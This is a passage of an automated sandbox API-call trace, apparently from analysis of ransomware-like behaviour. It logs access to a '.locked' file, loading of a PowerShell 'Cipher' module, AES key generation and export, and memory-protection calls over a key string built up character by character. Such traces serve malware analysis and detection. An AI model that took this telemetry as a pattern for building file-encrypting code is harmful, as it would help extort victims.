[5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.482] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.482] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.484] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.485] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.485] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.485] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.485] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.487] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.489] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.489] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.489] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.489] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.492] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99add48) returned 1 [0127.497] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x68e865c | out: lpFileInformation=0x68e865c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf31761a, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xf31761a, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xf33d811, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xc194)) returned 1 [0127.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99add44) returned 1 [0127.497] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad824, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3.locked", lpFilePart=0x0) returned 0x50 [0127.497] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0127.497] GetFileInformationByHandle (in: hFile=0x868, lpFileInformation=0x99add90 | out: lpFileInformation=0x99add90) returned 1 [0127.497] CloseHandle (hObject=0x868) returned 1 [0127.500] GetConsoleOutputCP () returned 0x1b5 [0127.505] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.505] GetConsoleOutputCP () returned 0x1b5 [0127.506] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.506] GetConsoleOutputCP () returned 0x1b5 [0127.506] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.506] GetConsoleOutputCP () returned 0x1b5 [0127.507] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.507] GetConsoleOutputCP () returned 0x1b5 [0127.507] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.507] GetConsoleOutputCP () returned 0x1b5 [0127.508] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.508] GetConsoleOutputCP () returned 0x1b5 [0127.508] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.508] GetConsoleOutputCP () returned 0x1b5 [0127.508] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.508] GetConsoleOutputCP () returned 0x1b5 [0127.509] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.509] GetConsoleOutputCP () returned 0x1b5 [0127.509] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.509] GetConsoleOutputCP () returned 0x1b5 [0127.509] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.509] GetConsoleOutputCP () returned 0x1b5 [0127.509] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.510] GetConsoleOutputCP () returned 0x1b5 [0127.510] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae250, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae250) returned 0 [0127.510] GetConsoleOutputCP () returned 0x1b5 [0127.510] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2e8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2e8) returned 0 [0127.510] GetConsoleOutputCP () returned 0x1b5 [0127.510] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.510] GetConsoleOutputCP () returned 0x1b5 [0127.511] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c4) returned 0 [0127.511] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae38c | out: lpConsoleScreenBufferInfo=0x99ae38c) returned 1 [0127.511] GetConsoleOutputCP () returned 0x1b5 [0127.511] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae328, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae328) returned 0 [0127.511] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae394 | out: lpMode=0x99ae394) returned 1 [0127.512] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68f2ad0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae38c, lpReserved=0x0 | out: lpBuffer=0x68f2ad0*, lpNumberOfCharsWritten=0x99ae38c*=0x77) returned 1 [0127.512] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae394 | out: lpMode=0x99ae394) returned 1 [0127.513] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae38c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae38c*=0x2) returned 1 [0127.517] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.517] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.517] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeaa4, nSize=0x100 | out: lpBuffer="\x8200\x68e\x8234\x68e\x81ec\x68e\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xebd8\x99a\x3e98\x7405\xffff\xffff\x443e\x73b8\x446c\x73b8\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\x2ddc\x73ad\xec0c\x99a\xde1c\x664\x04") returned 0x0 [0127.518] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.518] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.518] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.518] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.518] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae6f8, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x3067\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0127.519] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0127.519] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.519] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.519] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.520] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x8e021c8) returned 1 [0127.521] CryptGenKey (in: hProv=0x8e021c8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e850f8) returned 1 [0127.521] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.521] CryptExportKey (in: hKey=0x8e850f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0127.521] CryptExportKey (in: hKey=0x8e850f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x68fc710, pdwDataLen=0x99ae788 | out: pbData=0x68fc710*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0127.521] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2ec, nSize=0x100 | out: lpBuffer="\xdf3e\xcd6\xc2b0\x1b55\x7e32\xa677\xe7a5\x6502\xf9bf\x8905\xd6c7\xa762\xfad5\x5864\x89c2\x92ef\xd814\x8422\xd854\x130e\x2420\x71c4\x3a51\xc620\xe869\x9a17\xffd9\xd60\x5508\x2b4b\x1761\xa95a\xc8b8\x53a\xe484\x99a\x86d0\x42c\xe488\x99a\x87a8\x42c\xe388\x99a\x65bc\x7477\xe3a8\x99a\x08") returned 0x0 [0127.521] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.521] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.521] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.522] SysStringLen (param_1="") returned 0x8 [0127.522] SysStringLen (param_1="3") returned 0x8 [0127.522] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.522] SysStringLen (param_1="\x92b0\xcbaf\x2f13\x2390\x7f03\xa319\x61d2\x7760") returned 0x8 [0127.522] SysStringLen (param_1="\x92b0\xcbaf\x2f13\x2390\x7f03\xa319\x61d2\x7760") returned 0x8 [0127.522] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.522] SysStringLen (param_1="3d") returned 0x8 [0127.522] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.522] SysStringLen (param_1="㌭ 蠨DŽ讈졾硲") returned 0x8 [0127.522] SysStringLen (param_1="㌭ 蠨DŽ讈졾硲") returned 0x8 [0127.522] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.522] SysStringLen (param_1="3dm") returned 0x8 [0127.522] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.522] SysStringLen (param_1="\xa8e0\x744e\x3f14\x9f38\x70e6\x385a\x5759\x5a7f") returned 0x8 [0127.522] SysStringLen (param_1="\xa8e0\x744e\x3f14\x9f38\x70e6\x385a\x5759\x5a7f") returned 0x8 [0127.522] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.522] SysStringLen (param_1="3dmD") returned 0x8 [0127.522] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.522] SysStringLen (param_1="\x84b\x13c4\x7a6f\x90a6\xcf66\xd0e3\x8b45\xd151") returned 0x8 [0127.523] SysStringLen (param_1="\x84b\x13c4\x7a6f\x90a6\xcf66\xd0e3\x8b45\xd151") returned 0x8 [0127.523] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.523] SysStringLen (param_1="3dmDn") returned 0x8 [0127.523] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.523] SysStringLen (param_1="\x2c9d\xacaf\x79f1\xd6aa\x6f31\x4f0b\xcd54\x168e") returned 0x8 [0127.523] SysStringLen (param_1="\x2c9d\xacaf\x79f1\xd6aa\x6f31\x4f0b\xcd54\x168e") returned 0x8 [0127.523] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.523] SysStringLen (param_1="3dmDnl") returned 0x8 [0127.523] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.523] SysStringLen (param_1="\x9cea\xf324\x33c0\x6a54\x3b3f\xf7ac\xc3be\x3367") returned 0x8 [0127.523] SysStringLen (param_1="\x9cea\xf324\x33c0\x6a54\x3b3f\xf7ac\xc3be\x3367") returned 0x8 [0127.523] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.523] SysStringLen (param_1="3dmDnlx") returned 0x8 [0127.523] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.523] SysStringLen (param_1="\xd7df\x6551\x9076\xbc26\x8807\x26c4\x8b9e\x7ebd") returned 0x8 [0127.523] SysStringLen (param_1="\xd7df\x6551\x9076\xbc26\x8807\x26c4\x8b9e\x7ebd") returned 0x8 [0127.523] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.523] SysStringLen (param_1="3dmDnlxn") returned 0x8 [0127.523] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.523] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837") returned 0x8 [0127.523] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837") returned 0x8 [0127.523] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837") returned 0x8 [0127.524] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837") returned 0x10 [0127.524] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.524] SysStringLen (param_1="3dmDnlxn+嚆嗘堏湜槻飤") returned 0x10 [0127.524] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.524] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x816\xa020\xca72\x4a1\x3d99\xa70b\xb0c0\x7f83") returned 0x10 [0127.524] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x816\xa020\xca72\x4a1\x3d99\xa70b\xb0c0\x7f83") returned 0x10 [0127.524] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.524] SysStringLen (param_1="3dmDnlxn+s嗘堏湜槻飤") returned 0x10 [0127.524] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.524] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x8c05\xe97d\x74c1\xd9ee\x666b\x71df\x86b4\xf686") returned 0x10 [0127.524] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\x8c05\xe97d\x74c1\xd9ee\x666b\x71df\x86b4\xf686") returned 0x10 [0127.524] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.524] SysStringLen (param_1="3dmDnlxn+sp堏湜槻飤") returned 0x10 [0127.524] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.524] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\xb6d6\xcf54\x895a\x6806\x3e33\x4a2e\xacbf\x6dab") returned 0x10 [0127.524] SysStringLen (param_1="\x37de\x56ac\x2690\xf372\x9ccf\x7ac9\x2c00\xa837\xb6d6\xcf54\x895a\x6806\x3e33\x4a2e\xacbf\x6dab") returned 